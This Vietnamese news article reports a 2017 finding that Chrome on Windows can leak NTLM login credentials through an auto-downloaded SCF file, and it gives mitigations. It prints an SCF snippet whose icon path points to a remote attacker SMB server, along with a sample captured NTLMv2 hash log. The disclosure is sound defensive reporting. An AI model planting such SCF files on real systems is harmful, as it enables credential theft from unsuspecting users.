Chrome có thể giúp tin tặc đánh cắp mật khẩu đăng nhập Windows từ xa

08:59 | 07/06/2017

Nhà nghiên cứu Bosko Stankovic của công ty DefenseCode vừa phát hiện lỗ hổng nghiêm trọng trong cấu hình mặc định của phiên bản mới nhất của trình duyệt Chrome, chạy trên mọi phiên bản Microsoft Windows, cho phép tin tặc đánh cắp mật khẩu đăng nhập từ xa.



Theo đó, chỉ cần người dùng truy cập một website có chứa tệp SCF (Shell Command File) độc hại bằng Chrome là tin tặc có thể lấy được thông tin đăng nhập nhờ giao thức SMB (Server Message Block). Kỹ thuật này không mới và đã từng bị mã độc Stuxnet lợi dụng thông qua tệp LNK của Windows. Điều khác biệt là kiểu tấn công qua xác thực SMB lần đầu tiên được thực hiện trên trình duyệt Chrome, thay vì Internet Explorer (IE) và Edge.

Định dạng tệp SCF hoạt động tương tự như các tệp LNK và hỗ trợ một tập hạn chế các lệnh của Windows Explorer, cho phép định nghĩa biểu tượng trên màn hình. Trong một bài viết trên blog, Stankovic cho biết “Kẻ xấu chỉ cần lừa người dùng (với bản cập nhật mới nhất của Chrome và Windows) truy cập website độc hại để có thể lấy và sử dụng thông tin đăng nhập của họ”.

Về cơ bản, các liên kết trong một shortcut trên màn hình là một tệp text chứa các mã lệnh shell theo một cú pháp cụ thể để chỉ ra vị trí của biểu tượng (icon/thumbnail) cùng với vị trí và tên của ứng dụng.

[Shell]

Command=2

IconFile=explorer.exe,3

Do Chrome tin tưởng vào các tệp SCF, nên kẻ xấu có thể lừa nạn nhân truy cập website chứa một tệp SCF độc hại, chỉ dẫn trình duyệt tự động kết nối với website để tải xuống mà không hỏi ý kiến người dùng.

Ngay khi người dùng mở thư mục chứa tệp tải xuống, tệp SCF sẽ tự động chạy và truy cập vào vị trí của biểu tượng mà không cần người dùng nhấp chuột. Nhưng vì tệp SCF độc hại, vị trí của biểu tượng được chỉ tới địa chỉ của máy chủ SMB ở xa (do kẻ xấu kiểm soát)

[Shell]

IconFile=\\170.170.170.170\icon

nên ngay khi tệp SCF tìm cách truy xuất biểu tượng, nó khiến máy tính tự động gửi thông tin xác thực (trong đó chứa tên người dùng và giá trị băm của mật khẩu) tới máy chủ SMB ở xa. Nhờ đó, tin tặc có thể dùng thông tin đăng nhập của người dùng để truy cập các tài nguyên trong máy tính cá nhân và mạng nội bộ của người dùng.

Thực tế, sau khi phát hiện mã độc Stuxnet, Tập đoàn Microsoft đã thay đổi để buộc các tệp LNK chỉ tải biểu tượng từ các nguồn bên trong máy tính. Tuy nhiên, các tệp SCF vẫn không bị ảnh hưởng.



Nhưng tại sao Windows lại tự động gửi thông tin đăng nhập của người dùng tới máy chủ ở xa? Vấn đề nằm ở cách mà giao thức SMB kết hợp với cơ chế xác thực NTLM (NT LAN Manager) trong mạng Windows. Quy trình này gồm 4 bước:

• Người dùng (hoặc phần mềm) trên máy trạm Windows cố gắng đăng nhập máy chủ.

• Máy chủ trả về một giá trị kiểm tra (challenge value), yêu cầu máy trạm mã hoá giá trị đó bằng giá trị băm của mật khẩu của người dùng rồi gửi lại.

• Máy trạm Windows gửi tên người dùng và kết quả mã hoá giá trị kiểm tra bằng giá trị băm của mật khẩu tới máy chủ.

• Máy chủ thực hiện mã hoá giá trị kiểm tra bằng giá trị băm của mật khẩu (giá trị băm của mật khẩu được lấy từ cơ sở dữ liệu, căn cứ vào tên người dùng). Nếu giá trị mã hoá máy chủ nhận được khớp với giá trị nó tính được, yêu cầu đăng nhập được chấp thuận.

Do tin tặc đã tính trước tất cả các giá trị mã tương ứng với các giá trị có thể có của khoá mã hoá (giá trị băm của mật khẩu người dùng) nên dù không truy cập được cơ sở dữ liệu mật khẩu người dùng, máy chủ do tin tặc nắm quyền kiểm soát vẫn dò ra được giá trị băm của mật khẩu. Nếu người dùng là một phần của mạng doanh nghiệp, thông tin đăng nhập mạng nội bộ sẽ được gửi cho tin tặc. Nếu nạn nhân là người dùng cá nhân (tại gia), mật khẩu đăng nhập Windows sẽ được gửi cho tin tặc.

[*] SMB Captured - 2017-05-15 13:10:44 +0200

NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182

USER:Bosko DOMAIN:Master OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:98daf39c3a253bbe4a289e7a746d4b24

NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000

00000000000

Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000

Mặc dù mật khẩu ở dạng ẩn, nhưng tin tặc vẫn có thể sử dụng phương pháp tấn công vét cạn để tìm ra mật khẩu này. Tuy nhiên, một số dịch vụ của Microsoft chấp nhận mật khẩu ở dạng băm, nên tin tặc có thể sử dụng mật khẩu đã bị mã hoá để đăng nhập vào các dịch vụ này như OneDrive, Outlook.com, Office 365, Office Online, Skype, Xbox Live,… và việc giải mã mật khẩu trở nên không cần thiết.

Stankovic nói thêm rằng, phần mở rộng của các tệp SCF không được Windows Explorer hiển thị - dù người dùng thiết lập cấu hình thế nào đi nữa, tệp picture.jpg.scf sẽ được người dùng nhìn thấy với tên picture.jpg. Điều này khiến cho việc tấn công bằng tệp SCF càng khó bị phát hiện. Những lỗ hổng như vậy có thể tạo ra nguy cơ nghiêm trọng cho các tổ chức vì chúng cho phép kẻ xấu giả mạo thành viên của họ, truy cập các tài nguyên và tấn công những người dùng khác.

Để ngăn chặn kiểu tấn công này, người dùng chỉ cần sử dụng tường lửa chặn các kết nối SMB ra ngoài (TCP cổng 139 và 445), từ mạng nội bộ ra mạng WAN. Stankovic cũng khuyến cáo người dùng tắt tính năng tự động tải xuống trong Chrome bằng cách chọn SettingsShow advanced settings → đánh dấu chọn "Ask where to save each file before downloading"

Thay đổi này cho phép người dùng phê duyệt thủ công từng lần tải xuống và do đó giảm đáng kể nguy cơ tấn công bằng tệp SCF. Google đã biết về lỗ hổng và đang xúc tiến phát triển bản vá nhưng chưa có lịch cụ thể cập nhật bản vá mới cho người dùng.